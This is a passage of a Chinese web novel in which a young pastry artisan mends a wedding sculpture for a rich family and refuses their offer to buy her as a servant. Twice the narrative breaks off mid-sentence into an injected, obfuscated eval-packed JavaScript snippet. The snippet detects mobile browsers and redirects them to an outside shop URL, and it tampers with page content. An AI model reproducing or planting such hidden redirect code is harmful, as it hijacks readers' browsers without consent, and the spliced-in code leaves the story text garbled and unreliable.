胡有福笑了笑,带着胡祹往外走,刚走到后门,又被两小厮叫住。 “胡师傅,我们老爷看了饽饽十分满意,这是给您的赏钱!” 一个小厮手上递过五两的银锭。 胡有福捧着那锭银子,手都在抖。五两!白花花的五两,新铸的银锭! “替我谢老爷的赏,谢谢老爷了!”他点头哈腰地谢了好几遍,又摸出几个铜板要塞给那两个小厮。小厮们推辞不受,笑道:“胡大叔快收着吧,我们老爷赏您的,我们可不敢要您的。”说着便把他俩送出了后门。 胡有福出了门,脚底下还飘着,把那锭银子翻来覆去地看,又凑到嘴边咬了一下,咯嘣一声,银子上留了个浅浅的牙印。 “是真的,”他自言自语,脸上的褶子都笑开了,“是真的!”赏钱真有五两! 胡裪看着他那个样子,忍不住笑:“爹,上车吧,回家再看。” 胡有福这才把银子揣进怀里,拍了拍,叫了辆马车来。 今儿也享受享受! 爬上马车坐好,车夫一扬鞭,马车便辘辘地往南走了。一路上胡有福一句话也没说,两只手轮流捂着胸口的那包银子,生怕它飞了似的。 到了金鱼巷口,父女俩下了车,打发走了车夫,便往巷子里走。还没到铺子跟前,就听见前头闹哄哄的,好些人围在门口。 “这是怎么了?”胡有福嘀咕了一句,加快脚步走过去。 拨开人群一看,原来是铺子里正忙着。陈喜妹站在柜台里头,一边收钱一边往客人篮子里装馒头,嘴皮子一刻也不停。胡祥在她旁边帮着递笸箩,跑前跑后的,小脸跑得通红。 “……可不是嘛!”陈喜妹的声音又脆又亮,隔着半条街都听得见,“我公婆可好了,最是善心的人!我在家里帮忙,一个月给我一两银子的工钱呢!你们说说,天底下哪儿找这样的公婆去?” 柜台前头围着一圈买馒头的街坊,听了这话,一个个都啧啧称奇。 “哎哟,一个月一两?老胡家这是发财了?” “老胡这个人,看着闷不吭声的,心肠倒是真好。” “可不是嘛,给儿媳妇工钱,这事儿我在阳城县还是头一回听说。老胡厚道!” 陈喜妹越发得意,声音又高了三分:“我公婆说了,只要好好干活往后还有呢!” 胡有福站在人群外头,听得一头雾水。陈喜妹还会给他扬名声?这不是太阳打西边出来。 还没等他弄明白,人群里有人看见他了,喊了一嗓子:“哎哟,老胡回来了!” 众人呼啦啦转过头来,一张张笑脸对着他,七嘴八舌地夸起来。 “胡大哥,你可真是个善心人啊!” “老胡,你这人厚道,给媳妇开工钱,全县城头一份!” “胡大叔,您这心肠,没得说!” 胡有福被这一通夸,脸上的笑都有些僵了。他不知道该说什么,只得含糊地应着:“应该的,应该的……”一边说一边往里头挤,好不容易才挤进铺子。 胡裪跟在后头,嘴角微微翘着。这样一来,往后爹想赖掉嫂子的工钱可就难了。全街坊都知道了,他胡有福是“善心人”、“厚道人”,总不能自己打自己的脸。 胡有福进了铺子,陈喜妹看见他,笑得更欢了:“爹回来了!张家的饽饽可还满意?” 胡有福“嗯”了一声,也没多说,穿过铺子往后院走。胡裪跟在他后头,经过柜台的时候,朝陈喜妹使了个眼色。陈喜妹会意,笑得眼睛都眯成了一条缝。 到了后院,王翠正在作坊里收拾面盆,见老头子回来了,忙迎出来:“怎么样?还顺利不?” 胡有福没答话,先走到堂屋坐下,从怀里掏出那包银子,往桌上一放。张家的十一两四钱,加上张员外赏的五两,白花花的银子堆在桌上,亮得晃眼。 王翠的眼睛一下子就直了:“这……这么多?” “十一两四是饽饽钱,”胡有福指着那大的一锭,“这个是张员外额外赏的,五两!” 王翠双手捧起银子,翻来覆去地看,嘴里啧啧有声:“阿弥陀佛,阿弥陀佛!这么多银子,够咱们还半年的账了!” 胡有福把银子收起来,从怀里又摸出一把铜板,数了二十文递给胡裪:“阿荞,去张屠户家割肉,要肥的!今儿好好开荤!” 胡裪接过铜板,应了一声,转身出去了。 王翠在身后喊:“挑肥的!带皮的!” 胡裪一路小跑到巷口张屠户家,割了两斤五花三层的好肉,又顺道买了些时令鲜蔬,这才提着往回走。到家的时候,王翠已经把锅刷干净了,灶膛里添了柴,火烧得旺旺的。 “肉给我!”王翠接过肉,放在案板上,刀起刀落,咔咔地切成大块。肉肥瘦相间,皮厚膘肥,一看就是好东西。 锅里放了油,把肉块倒进去煸炒,刺啦一声,油烟腾起来,满屋子都是肉香。煸到肉皮金黄、肥肉透明,王翠又拍了几瓣大蒜扔进去,倒了一勺子酱油,加水没过肉,盖上锅盖慢慢炖。 等到饭菜上桌,一家子围坐过来。胡有福坐了主位,王翠挨着他,胡佑、陈喜妹、胡裪、胡祥依次坐下,胡思齐坐在他娘怀里,眼睛直勾勾地盯着那盆肉。 “吃吧!”胡有福一声令下,筷子便齐刷刷地伸了出去。 王翠看着一桌人吃得欢,自己倒不怎么动筷子,只是笑眯眯地看着,时不时给胡有福夹一块肉,又给胡裪夹一块。 胡有福吃了一块肉,喝口水,忽然开口:“今儿这趟去张府,算是长了见识了。人家那宅子,那排场,啧啧……” 他把在张府见到的情形一五一十地说了一遍,说到那对龙凤摆在供桌上时,王翠的眼睛都亮了。 正吃着,外头忽然传来一阵急促的敲门声,“砰砰”的,敲得又急又重。 一桌子人都愣住了。胡有福放下筷子,皱眉道:“这时候了,谁啊?” 敲门声不停,外头有人喊:“胡大叔!胡大叔在家吗?” 胡有福听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359396|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出是白天赶车那个汉子的声音,忙起身去开门。门一开,那汉子满头大汗地站在门口,气喘吁吁地道:“胡大叔,可找着您了!出事儿了!” 胡有福心里一紧:“怎么了?” “饽饽!那对喜上眉梢的喜鹊碰掉了一只!老爷叫我来请您家姑娘快去补补!” 胡有福脸色一变:“怎么碰掉的?我们家饽饽可不是脆瓷,稍微碰碰不会坏的。”可不能说我们家饽饽质量有问题。 那汉子急得直搓手:“哎呀,是我们家小姐不小心撞上了。老爷正发火呢,您快让姑娘跟我走一趟吧!” 胡裪已经放下筷子站起来了。她回头看了一眼桌上的饭菜,叹了口气,转身回屋去拿工具,又用湿布包了块发好的面揣在怀里,这就准备停当了。 “爹,我去一趟。”她走到门口,对胡有福道。 胡有福不放心:“我跟你一起去。” “不用,”胡裪摇摇头,“您在家歇着,我去去就回来。” 她跟着那汉子出了门,快步往巷口走。汉子赶着两头小驴,忙扶她骑上去,一甩鞭子,驴子便小跑着往城北去。 张府这边,正是热闹的时候。 前院喜棚下摆了几十桌酒席,宾客满座,觥筹交错。丝竹之声不绝于耳,猜拳行令的、推杯换盏的,闹哄哄。 正中那张桌子上,饽饽摆了一排,龙凤、石榴、葫芦、鸳鸯,个个精美。唯独那对喜上眉梢,左边的喜鹊不见了,只剩下梅花枝上空空的一个茬口,旁边的喜鹊孤零零地站着,显得格外扎眼。 张员外站在桌旁,脸色不太好看。他素来好面子,今日又是儿子大喜的日子,满城的体面人家都来了,这饽饽摆在正当中,缺了一只喜鹊,像什么话? 张管家在一旁陪笑:“老爷别急,已经去请人了,那姑娘手艺好着呢。” 张员外“嗯”了一声,沉着脸道:“快去催催。” 正说着,一个十六七岁的少年从旁边的席上站起来,端着酒杯走到桌前。他穿着月白色的直裰,料子是上好的松江细布,虽不是绸缎,却比绸缎还讲究几分。身量修长,面如冠玉,眉目间有一股子书卷气。 “张世伯,”黎道举了举杯,笑道,“这饽饽倒是别致,我在京城长大,没见过这样的手艺。” 张员外见他过来,脸上的神色缓和了些,笑道:“黎贤侄好眼力。这饽饽是城里一家铺子做的,我也没想到能做成这样。”黎道可是户部尚书的儿子,若非表妹结婚,他哪儿能回山东故里?可得好好伺候。 黎道凑近了些,低头看了看那缺了喜鹊的梅花枝,又看了看旁边那只孤零零的喜鹊,笑道:“这是被人碰坏了?可惜可惜。” 张员外苦笑:“唉……我小女顽劣,已经去请做饽饽的师傅来修了。” “哦?”黎道来了兴致,“做饽饽的师傅?是哪家的?改日我也去定几对。” “就是城里金鱼巷的胡记饽饽铺,做这饽饽的是个姑娘,手艺了得。”张管家赶紧接话,朝门口张望了一眼,“应该快到了。” 黎道听了“是个姑娘”四个字,微微一怔,随即笑道:“那倒要见识见识了。” 他端着酒杯回到自己的席上,身边站着的小厮安溪凑过来,低声道:“公子,您又来了。明年就要会试了,您不想着读书,倒有心思看人家做饽饽。” 黎道拿扇子敲了一下他的脑袋,笑道:“你懂什么?这叫格物致知。圣人还说要多识草木鸟兽之名呢,我格饽饽就不能格出道理来了?” 安溪揉着脑袋,小声嘀咕:“您什么都格,就是不格四书五经。” 黎道不理他,自顾自地喝酒,眼睛却时不时地往门口瞟。 约莫过了一盏茶的工夫,一个汉子引着姑娘从后门进来。 姑娘穿着粗布衣裳,头上系着红头绳,在满院的锦衣华服中间,显得格外朴素。可她走路的姿态却不卑不亢,腰背挺得直直的,眼睛看着前方,并不东张西望。 胡裪跟着那汉子穿过院子,到了正中那张桌子跟前。张管家见了她,脸上露出几分急切,指了指那缺了喜鹊的饽饽:“姑娘,你看看这个,还能修么?” 胡裪凑近看了看。梅花枝上的茬口还算整齐,喜鹊是从根部断掉的,断口处干了些,但没碎。她伸手摸了摸,心里便有了数。 “能修。”她点点头,解下布包,打开来,里头是工具,一样一样摆得整整齐齐。又从怀里掏出用湿布包着的面团。 满院的宾客见一个姑娘在桌前摆弄起家什来,都好奇地围过来看。 胡裪不慌不忙,先用把断口处的碎屑处理干净,又用小刀把干硬的茬口轻轻刮去一层,露出里头还带着潮气的面芯。然后揪了一小块面团,在手心里揉了几下,揉得软软的了,便往断口处一贴,做粘合剂用。 接下来便是做喜鹊了。 幸好碰掉的是喜鹊,等会儿上上色也行。胡祹三下两下捏了形状出来,又用工具简单刻画,最后补充细节,捻了些细微羽毛上去,一只喜鹊便做好了。 周围看的人越来越多,起初还有人小声说话,后来便都安静了。 黎道不知什么时候也挤到了前面,他轻轻“啧”了一声,低声对安溪道:“你看她那个手,可真巧。” 安溪撇了撇嘴,没接话。 胡裪做完了喜鹊,又比照着梅花枝做了几朵小花苞,用竹刀压出花瓣的纹路,这才交给下人去蒸。 “上汽之后,小的蒸个一盏茶的功夫,大的蒸两刻钟,然后拿来给我上色。” 等蒸好,笔墨备齐,胡祹就给喜鹊穿上了黑衣,点上眼睛。 还叫人拿了些银粉过来,将细节处补了补,用铁丝插上,这才转身对着张员外一施礼:“老爷,已经补好了。” 张员外凑近看了看,又退后两步看了看,脸上终于露出了笑容:“好!好!跟原来的一模一样,不,比原来的还好!” 周围的宾客也跟着夸起来。 “了不得!了不得!这姑娘手艺绝了!” “下回祭祖,我也去定。” 张员外见人吹捧,又高兴起来:“看赏。”张管家立刻笑着对胡裪道:“辛苦姑娘了,又劳动你跑一趟。”说着,从袖子里摸出一块银子,约莫有二两,递了过去,“这是老爷的赏钱。” 胡裪推辞一下,又福了一福:“多谢张老爷。” 她收拾好工具,重新裹好,从后门出去。 但刚走没两步远,又被人叫住。 “姑娘留步。” 胡裪转过头,见一个小厮上前。 安溪拱手,道,“今日得见姑娘手艺,实在叹为观止。十月里我小姐出阁,也要定几对饽饽。不知姑娘可接外县的单子?” 胡裪听了,心里一动,故意吹嘘:“小兄弟若有需要,来金鱼巷铺子里说便是。只是单子排得满,得提前些日子定。” 安溪点点头:“那是自然,改日我便上门细说。” 12. 第十二章 自那日喜宴过了许多天,张老爷的母亲,张家老祖宗又想起饽饽的事情。 老太太在佛堂念完了经,由王嬷嬷搀着往厢房里歇息。她靠在榻上,吃了半盏蜜渍梅汤,问:“上回用的饽饽是哪家的?” 王嬷嬷回道:“听说是金鱼巷子里一个姑娘做的,才十六七岁,生得也齐整。” 老太太听了微微撑起身子,来了兴致:“哦?一个姑娘家,有这样的手艺?” 王嬷嬷道:“何止手艺。老奴听前头的丫头说,那姑娘来补喜鹊的时候,不卑不亢的,满院的贵客围着她看,她连眼皮都不抬一下,只管埋头做活。补完了,张管家赏银子,人家推辞了一回才收,礼数周全得很。” 老太太点了点头,忽然道:“这样好的孩子倒难得。去把张福叫来,我问问。” 张福便是张管家。不多时,他便到了佛堂外头,先在门槛外站定了,整了整衣帽,这才轻手轻脚地进来,跪在榻前磕了个头:“老太太安。” 老太太摆摆手叫他起来,问道:“做饽饽那个姑娘是哪家的?你细细说来。” 张福站起来,躬着身子道:“回老太太,是城里金鱼巷胡记饽饽铺家的闺女,姓胡,小名唤作阿荞,今年十六。她爹胡有福,在城里开了四年铺子,卖馒头饽饽为生。家里头上有爹娘、哥嫂,底下还有一个十二岁的弟弟,满岁的侄儿。” 老太太听了,又问:“家境如何?” 张福道:“不瞒老太太,不大宽裕。胡家原是乡下的,现在还欠着账局银子。今年春上胡有福又得了一场大病,把攒下的银子花了个干净,眼瞅着年底要还账,急得什么似的。” 老太太沉吟片刻,忽然叹了口气:“这样人家的孩子,还能养成这般模样,倒是不易。” 张福会意,顺着话头道:“老太太说的是。那姑娘老奴见过几回,说话行事都极有分寸。又生得眉清目秀,自有一种干净利落的气派。最难得的是她那份手艺,老奴活了半辈子没见过第二份。喜宴前头的宾客,好几个都问是哪家做的,说要定呢。” 王嬷嬷在一旁笑道:“老太太这是动了怜才的心?” 老太太也不否认,靠在引枕上,慢慢道:“咱们府上这几年添的人,不是笨手笨脚的,就是性子毛躁的。若有个这样又伶俐又稳当的孩子在身边,倒是一桩好事。” 张福听了,心里便活泛起来。他与胡裪打过两回交道,头一回那三两银子的好处虽不算多,却叫他觉着这姑娘懂事、识趣。如今老太太既有这个意思,他居中跑一趟,两边都能落个好。再者说,这样的好孩子进了府,往后在老太太跟前得脸,他今日出的力,日后自然有回报。 他便笑道:“老太太好眼力。这姑娘若进了府,不说旁的,单她那手艺,逢年过节做几样新鲜饽饽,老太太看着也欢喜不是?” 老太太笑了笑,道:“只是人家好好的闺女,未必肯卖。” 张福忙道:“老太太说哪里话。胡家正急着还账。再者说,咱们府上是什么人家?多少人家想把闺女送进来还送不进来呢。老太太又最是慈悲的,从不苛待下人,逢年过节还有赏钱。这样的去处,打着灯笼也难找。” 老太太听了这话,心里便有了几分底,又道:“既是这样的好孩子,价钱低了,倒显得咱们不尊重。” 张福沉吟道:“老太太说的是。这姑娘有一手好手艺,便是到外头去,也能自己挣出口吃食来。价钱低了,她爹娘恐怕不依。依老奴愚见——” 老太太打断:“我出六十六两,取个六六大顺的吉利数。你去问问,若他爹娘愿意,便定下来。” 张福心里一喜,面上却不露,恭恭敬敬地应了,又磕了个头,退了出去。 出了佛堂,张福的步子便轻快起来。他心里头飞快地盘算了一番: 六十六两,这是老太太出的价。他先去跟胡家说,只道老太太出五十五两。 中间这十一两,他落六两,再拿五两打点跟着去的中人和车马,神不知鬼不觉。这种事他在府里当差十几年,做得惯熟,不过是多费几句嘴皮子的事。 他也不耽搁,换了身干净衣裳,叫了府里一个姓刘的管事同去。刘管事专管外头采买,与城中牙行、铺户都熟络,带上他,显得郑重,也好说话。 二人雇了头驴,一径往金鱼巷来。 到得胡记铺子门前,已是申牌时分。胡祥正趴在柜台上打盹,听见脚步声一激灵,见是两个体面人,忙站起来,怯生生道:“二位客官,买馒头?” 张福笑道:“小兄弟,我找你爹有事,烦你通报一声。” 胡祥一溜烟跑进后院,不多时,胡有福便迎了出来,围裙还没解,手上沾着面粉,见了张福先是一愣,随即堆起笑脸:“哎呀,张管家!什么风把您吹来了?快请进,快请进!” 张福摆摆手,笑道:“胡大叔,不忙进去。我今日来,是有一桩好事要跟您商量。烦您借一步说话。” 胡有福心里咯噔一下,把手在围裙上擦了擦,引着二人往堂屋里坐。王翠正在堂屋收拾碗筷,见来了客人,忙倒了茶,又躲到里屋去了。 张福坐下,先呷了一口茶,介绍道:“这是我们刘管家,府里专管采买。” 胡有福还没弄明白怎么回事儿,刘管家就笑眯眯开了口:“胡大叔,我给您道喜。今儿个我们老太太说起您家的姑娘,喜欢的了不得,直夸姑娘手巧、人又齐整。我们老太太是最惜才的,又信佛,心善得很。您怕是不知道,老太太夏天连花园都不去,就怕踩伤了虫子。前日有个小厮走路不长眼,踩死了一只飞蛾,老太太瞧见了,叫人赏了他五板子,罚到柴房去了。阖府上下,谁不夸老太太慈悲?” 胡有福不知他葫芦里卖的什么药,只得陪着笑点头:“老太太菩萨心肠,阖县都知道的。” 刘管家话锋一转,笑道:“我们老太太的意思,是想买您家姑娘进府,在身边伺候。胡大叔,这可是天大的好事!您家姑娘进了府,吃的是细米白面,穿的是绫罗绸缎,比在家里起早贪黑揉面蒸馒头,不强似百倍?” 胡有福张了张嘴,一时不知说什么好。卖女这事儿前些日子才闹过一场,胡裪提着菜刀站在门口,那冷森森的眼神,他现在想起来还后背发凉。 可刘管家说的也有理,张府是什么人家?城北头一份的大户,老太太又是个慈悲的,比那吴员外家不知强了多少。 他心里正翻来覆去地掂量,刘管家又开口了:“老太太愿意出五十五两银子买您家姑娘进府。胡大叔,这个价可是实打实的公道价。寻常买个七八岁的小丫头,不过六七两。便是买个案上的姑娘,也才三四十两,您家姑娘这个价,那是老太太看重她。” 五十五两。 胡有福的手指头不自觉地搓了一下。他欠账局的钱年底就要还,这会儿手里拢共才二十来两。 若有了这五十五两,两年的钱能一起还上,铺子就彻底改姓了。 可阿荞那丫头的脾气, 他正犹豫着,里屋忽然传来一声脆响,紧接着门帘一掀,胡裪从里头走了出来。 她脸上没什么表情,眼睛却亮得吓人。在两位管家面前站定,道:“大叔,您的好意我们心领了。只是我爹娘就我一个女儿,家里离不开我。我——” 她话还没说完,张福便笑着摆了摆手,眼睛却不看她,只看着胡有福:“胡大叔,您家姑娘这是孝顺,舍不得爹娘。可话说回来,姑娘家大了,总得出门子。与其嫁到不知根底的人家去,不如进府伺候老太太。若姑娘伺候得好,日后老太太开恩,指一门好亲事,那也是常有的事。” 他顿了顿,又笑道:“再者说,这桩事,还是得您做主。哪有女孩儿自己张嘴的?” 这话说得很明白——你闺女愿不愿意不要紧,只要你点头,这事就成了。 胡裪脸色一白,只觉得遍体生寒。一时间顾及不了那么多,拽了拽胡有福,附耳道:“爹,您先别急着答应。您听我说几句。” “今儿是七月初,不到九十天就十月了。十月是什么月份?婚嫁的事一桩接一桩。城里多少大户人家等着办喜事?张家饽饽摆出去后,满城的老爷少爷都瞧见了,用不了几日定单就得送上门来。爹,您想想,若是一家定十六两银子,接上三四家,那就是五六十两。一个月就能赚出来。” “这一年又许多的好月份,一年不多说,就是接三十个单子,还有四五百两银子呢。” 她顿了顿,又道:“等思齐八岁开蒙,攒下的银子足够他请先生、买纸笔,好好读书。思齐若是读出个名堂来,那就是改换门庭的事。爹,您一辈子辛辛苦苦,不就是为了这个?” 句句戳在胡有福的心坎上。他这辈子最大的念想,就是供孙子读书,叫胡家改换门庭。若阿荞真能凭着这门手艺攒下银子,供思齐读书…… 这么一想,面上就带了犹豫。 张福见势不妙,忙笑道:“饽饽的生意今儿有明儿无的,谁能说得准?可我们老太太出的价,那是实打实的五十五两白花花的银子,揣在怀里就能去账局还账。您要是错过了这个村可就没这个店了。” 胡有福搓着手,脸上的神色变了又变,半晌才道:“张管家,容我想想,容我想想……” 张福也不逼他,站起身来,笑道:“那成,胡大叔您好好想想,我过两日再来听信儿。只是别想得太久,我们老太太那边还等着回话呢。”说罢,拱了拱手,带着刘管事走了。 两个人前脚出门,后脚堂屋里便炸了锅。 王翠从里屋冲出来,一把抓住胡有福的胳膊,眼圈通红:“当家的,现在家里可不愁着还账,你可不能卖了阿荞!” 胡有福甩开她的手,烦躁道:“谁说卖了?我说容我想想!” “想想也不行!”王翠的嗓门高起来,“上回你要卖她去吴家,她就拿了菜刀!你是想逼死她不成?” 陈喜妹不知什么时候也站在了门口,她看了看胡裪,又看了看胡有福,忽然开口:“爹,阿荞不能卖。她那一手手艺,咱们家指着她翻身呢。您要是把她卖了,往后谁来做饽饽?张家那单子,要不是阿荞,咱们连想都不敢想。” 胡佑也走了进来,他站在门边,双手抱在胸前,脸上没什么表情,眼睛却一直盯着胡有福。 他心里酸得很。自从阿荞露了那手艺,爹的眼珠子就黏在她身上了。往常爹有什么话,都是先跟他说,如今倒好,事事都要问阿荞的主意。连上回娘跟喜妹拌嘴,阿荞一开口,爹就依了她。 更叫他堵心的是喜妹。自打她手里有了那一两银子,整个人都变了。从前什么都跟他说,银子也交给他管,如今倒好,那银子揣在怀里连看都不让他看一眼。他问一句,她就拿白眼翻他,说什么“这是我自己挣的,你管得着吗”。他自己的媳妇,他管不着? 他心里头转过千百个念头:“爹,我倒是觉得,张府这个去处不坏。” “张府是什么人家?城北头一份的大户。老太太又是个慈悲的,比那吴员外家强了不知多少。阿荞若是进了府,在老太太跟前伺候,那是她的福分。” “再者说,阿荞生得齐整,手又巧,老太太疼她,日后说不定抬举她给少爷做妾。若能开脸做了正经姨娘,那可是一辈子的福分。到那时候咱们家还用得着卖饽饽?攀上张府这门亲戚,还愁什么?” “大哥这话说得真好,”胡祹阴阳怪气,“妹妹听了,真该磕头谢恩才是。” 她转向胡有福:“爹,我今儿把话撂在这儿。就算我真的当了姨娘,也不过是人家的奴才,签了卖身契,生死都由着人家。哥哥嫂嫂日后见了,还得磕头请安,叫一声‘姨奶奶’。大哥若是有志气,就不该想着扒妹妹的裙带往上爬。” 胡佑的脸腾地红了,张嘴要骂,胡裪却不给他开口的机会,又道:“再者说,若是哪天女儿福薄,在府里有个三长两短,左右是人家的奴婢,打死了也不过赔几两银子。到那时候,想必爹和哥哥还能拿一笔赏钱,真是皆大欢喜。” 这话说得太狠了,王翠“哇”的一声哭了出来,一把搂住胡裪,骂道:“你说什么胡话!什么三长两短!你要是有个好歹,娘也不活了!” 王翠哭得上气不接下气,忽然松开胡裪,转身一把揪住胡佑的衣领,劈头盖脸地骂道:“你这个不争气的东西!你是当大哥的,不想着护着妹妹,倒撺掇着把她卖了换钱!你的心是什么做的?黑了吗?烂了吗?我告诉你,你要是敢打阿荞的主意,我先跟你拼了!” 胡佑被她骂得脸色青一阵白一阵,想挣开又不敢动手,只得梗着脖子道:“娘,我这不是为家里着想吗?” “放你娘的屁!”王翠难得对长子骂出这样的粗话,“你妹妹那一手手艺,一个月就能挣五六十两,还愁还不上账?” 胡有福被吵得头疼,一拍桌子:“都给我住嘴!” 屋子里顿时安静下来。 胡有福坐在那里,佝偻着背,两只手撑在膝盖上,看着地面,半晌才道:“都别吵了,张家的事儿我不答应。” 王翠的哭声戛然而止,惊喜非常。 胡有福又道:“可是阿荞,张家那边得你自己去回,要是人家强买……人家势大,就不能怪你爹了。” 胡祹嗯了一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367292|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头向作坊去,还不忘瞪一眼胡佑。 这个杀才! 不行……一定得想法子分出来,要不然早晚落胡佑手里。 现在,先想个法子应付老太太。 胡祹预备做个寿星献桃讨她的好。 寿星两天里试了七八回,最后面仍是太软,只能先用铁丝缠出来大框架再往上附面,这才做出一个满意的。前几个不是额头太高像怪物,就是眉毛太长像老道,有一个笑得太过,整张脸都皱在一起,看着倒像是哭。 胡裪把做好的寿星头小心翼翼地安在身子上,拿去蒸熟。 寿桃反倒简单些,用面团搓成桃子的形状,再用竹刀压出一道沟,这就成了。 这次为了逼真,没用本来便有色的面团,而是选择最后上色,做出来后栩栩如生。 整个寿星捧桃也不高,仅有一尺多点,稳稳地站在案板上。胡裪退后两步看了看,又上前把寿星的胡子往上挑了挑,这才长出一口气。 第三天胡裪把它端到院子里,搁在石桌上。晨光打在上面,寿星笑眯眯的,捧着个大桃子,胡子垂到胸前,袍子红艳艳的,衣纹的褶皱都清清楚楚。 等刘管家来,胡有福已经雇好了车。他把车钱付了,又塞给胡裪几十个铜板,低声道:“到了张府,见了老太太,说话软和些,别跟在家似的硬邦邦的。” 胡裪点点头,跟着人家去。 到得张府后门,张福出来接。 胡裪福了一福,道:“张大叔,烦您通报老太太一声,就说金鱼巷胡家的闺女,做了个寿桃,想献给老太太,给老太太请安。” 张福愣了一下,上下打量她一眼,最后还是答应了。 过了约莫一刻钟,一个小丫头跑出来,笑嘻嘻地道:“老太太请姑娘进去。” 胡裪自己抱着饽饽盒,跟小丫头穿过甬道、月亮门,又过了两道穿堂,才到了老太太的佛堂。 佛堂不大,却收拾得一尘不染,正中供着一尊观音像,像前香炉里袅袅地燃着檀香。老太太靠在窗下的软榻上,王嬷嬷在旁边伺候着。 胡裪进门,先把食盒放在地上,然后跪下,端端正正地磕了三个头:“老太太万福。” 老太太微微欠身,笑道:“起来吧,走近些让我瞧瞧。” 胡裪站起来,往前走了两步,垂手站好。老太太把她上下打量了一番,见她虽然穿着粗布衣裳,却收拾得干干净净,眉目清秀,举止稳重,心里先喜欢了三分。 “这就是做饽饽的那个姑娘?”老太太转头问王嬷嬷。 王嬷嬷笑道:“正是来呢,那盒子里是饽饽不是?。” 胡祹:“嬷嬷说的是。” 老太太来了兴致,叫胡裪把食盒打开。胡裪应了一声,蹲下身,轻轻揭开盖子。 食盒里,寿星捧桃稳稳地坐着。 老太太的眼睛一下子亮了。叫王嬷嬷把寿星捧出来,搁在榻上的小几上。她歪着头看了半晌,喜欢道:“你们瞧,这寿星的眉毛胡子,一丝一丝的,跟真的似的。这衣裳的褶子,怎么压出来的?也太巧了。” 王嬷嬷也凑过来看,啧啧称奇:“老太太,您看这桃子,还带着叶儿呢。这姑娘的手,怕是天仙织女下凡了。” 老太太笑得合不拢嘴,看了好一会儿,才想起胡裪还站着,忙道:“坐下说话。” 胡裪谢了座,在绣墩上坐了半边。 老太太端起茶碗呷了一口,笑眯眯地道:“你叫什么名字?家里还有什么人?” 胡裪一一答了,声音不高不低,不快不慢。说到家里欠着账局的银子时,她也不遮掩,实打实地说了。老太太听了,点了点头,心里越发觉得这孩子实诚。 胡裪说完,忽然站起来,又跪了下去。 老太太一愣:“这是怎么了?” 胡裪伏在地上,一字一句说得分明:“老太太,今日我来,一是给老太太请安,二是给老太太献这个寿桃。老太太菩萨心肠,您的恩德我们不能不念。可我……我实在不能来府上伺候老太太。” 她道:“我是我爹娘的独女,生长十六年,也没来得及报答爹娘,因此不敢侍奉老太太。老太太的恩德,我记在心里,这辈子都不敢忘。这个寿桃,是我父亲叫我做的,献给老太太,祝老太太福如东海,寿比南山。” 老太太看着她伏在地上的身影,沉默了好一会儿,半晌叹了口气,道:“起来吧。” 胡裪站起来,垂手站着,眼眶有些红,却始终没掉下泪来。 老太太笑道:“你这孩子,倒是个有孝心的。你爹娘舍不得你,你也舍不得你爹娘,这是好事。孝悌忠信,孝字当头,我若是硬把你买来,倒成了我的不是了。” 胡裪忙道:“老太太言重了。是我不懂事,辜负了老太太的美意。” 老太太摆摆手,笑道:“罢了罢了,强扭的瓜不甜。你这个寿桃我收下了,比什么礼物都强。” 她转头对王嬷嬷道:“去,拿五两银子来,给这姑娘做赏钱。” 胡裪忙跪下推辞:“老太太,使不得。这寿桃是我的一点心意,不敢要老太太的赏。” 老太太笑道:“给你你就拿着。你一个姑娘家,大老远跑来,又费了这么大工夫做这个寿桃,我若不赏,显得我小气。” 胡祹坚决推辞:“我们小门小户,没什么值当东西,只能做个饽饽送来。若老太太要赏,我们倒成什么了?” 老太太这才作罢,“你那个饽饽铺子,往后好好开着。若有什么事只管来找张福,他能帮的自然会帮你。” 这话说得很明白了。往后在这阳城县,胡记饽饽铺有了张府这座靠山。 胡裪大喜过望,又磕了个头:“多谢老太太。” 老太太打了个哈欠,显出几分倦意来。王嬷嬷知机,提醒道:“老太太该歇晌了。” 胡裪忙起身告辞。老太太叫王嬷嬷送她出去,又吩咐道:“用我的车送,别叫人家姑娘走回去。” 胡裪千恩万谢地出了佛堂,王嬷嬷一路送到后门。门口果然停着一辆青帷马车,比胡有福雇的那辆阔气多了。车夫是个老成的人,见王嬷嬷亲自送来,忙跳下车,殷勤地掀开帘子。 胡裪爬上马车,坐好了,车帘放下来,马车便稳稳当当地往金鱼巷去了。 马车辘辘地走过长街,拐进金鱼巷。胡裪掀开帘子,远远看见铺子门口站着一个人——胡祥。他伸着脖子往巷口张望,看见马车还不敢确定,直到他姐唤他才敢信,随即撒腿就跑,一边跑一边喊:“爹!娘!姐姐回来了!” 胡裪看着他那个样子,吧嗒掉下泪来。